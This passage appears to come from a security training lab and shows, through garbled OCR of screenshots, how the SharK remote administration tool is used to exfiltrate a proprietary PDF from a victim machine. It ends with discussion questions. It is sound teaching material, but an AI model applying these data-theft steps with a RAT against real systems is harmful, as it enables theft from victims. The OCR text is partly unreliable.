< 2\ [Fixed], free: 1,10 GB / 4,99 GB (22%) | [ Mame | Tvpe | Size | attributes | Last Modified |
" u dbnames, 7z 7E 364 Byte & 2i26/2012 2:31: 16 PM
Dir [ e |
] [E] event.txt TET 195 Byte & 1/23/2012 7:51:33 PM
= [E] Labi0udac [slele 1,84 MB & 2f21/2012 10:11:05. .,
E] msec_adv_tab_pad_d Refresh
[£] MSEC_Pod_Updated.p Show Thumbnails
[E] msEC_Pod_Updated_3 Preview Pic 1/23/2012 4:41:25 PM
[E] MSEC_Pod_Updated_3 11{21/2011 &:49:02. .,
Search..,
Upload
Execute 3
Delete 3
Rename
Properties
| C:YCompanyxyZdocuments), 5 2,17 MB v
Copy
Il e

Set Az Wallpaper (brmp)

Inject App
[&] File Manager v Add To Startup

|[8:59:18 PM]: Received Installed applications |CPU Load: 1% |Mem0ry Loa S (L 06:20:30 |P|ng: ms 4
h Copy Path

Figure 69: Exfiltration of Data

The menu list allows you to upload/download files, as well as execute and delete them.
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7. Click on the download folder within the SharK folder on your Windows 7 system.

v Malware » shark 3 » shark_3 »

oo [EN

= Open Include in library - Share
Mame

| Cache

ads ; Davvnload

Figure 70: The Download Folder

8. Click the sharK 3 (@Server) folder. (Each victim gets a separate folder)

View Tools  Help

I Include in library - Share with - Burn
rites Mame
sktop J sharkl 3 { i@ SERMER)

r| ;v Mdalware » shark_ 3 » shark 3 >|D|:|wn||:uad|>|

M

Figure 71: The Victim Folder

9. Click on the Downloads folder within the sharK 3 (@Server) folder.

eny Toaols  Help

Include in library - Share with = Burn
Marre
. Dowenloads
ads . Screen Capture
Places . Thurmbnails

J Wifebcam Capture

« shark_3 ¥ shark_3 ¢ Download » sharkl 3 (@ SERVER) »

Mew fol

Figure 72: The Downloads Folder
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10. Double-click on the MSEC-Pod.pdf file to open and view the file.

|« shark3 » Download » shark 3 (@ SERVER) » Downloads e

Wiew Tools  Help

- Include in library - Share with = Burn Mew folder

2 Marme i Date modified
Ites

iktop 5 MSEC_Pod.pdf 2F24F2013 9:26 Pha

Figure 73: The Exfiltrated PDF

You can now view the PDF file, one of company XYZ's proprietary documents.

=) MSEC_Pod.pdf - Adobe Reader = = =]

|
|

1
i
f
‘.J'I—

|
|

Figure 74: The Opened Exfiltrated PDF File

3.2 Conclusion

SharK is a Remote Administration Tool, which has a Graphical User Interface (GUI) that
allows the hacker to perform malicious tasks against a victim machine, like data-theft
over an encrypted connection. Hackers will often enter networks to steal intellectual
property or retrieve credit card numbers. The encrypted connection of SharK will make

it very difficult for investigators to detect what was taken out of the network.

3.3 Discussion Questions
1. How does an attacker uninstall an application when they are using shark?
2. Name an application that a hacker would want to uninstall.
3. Does shark allow the attacker to exfiltrate data like intellectual property?
4. Why is it difficult to detect the PDF file being stolen if sharK is utilized?
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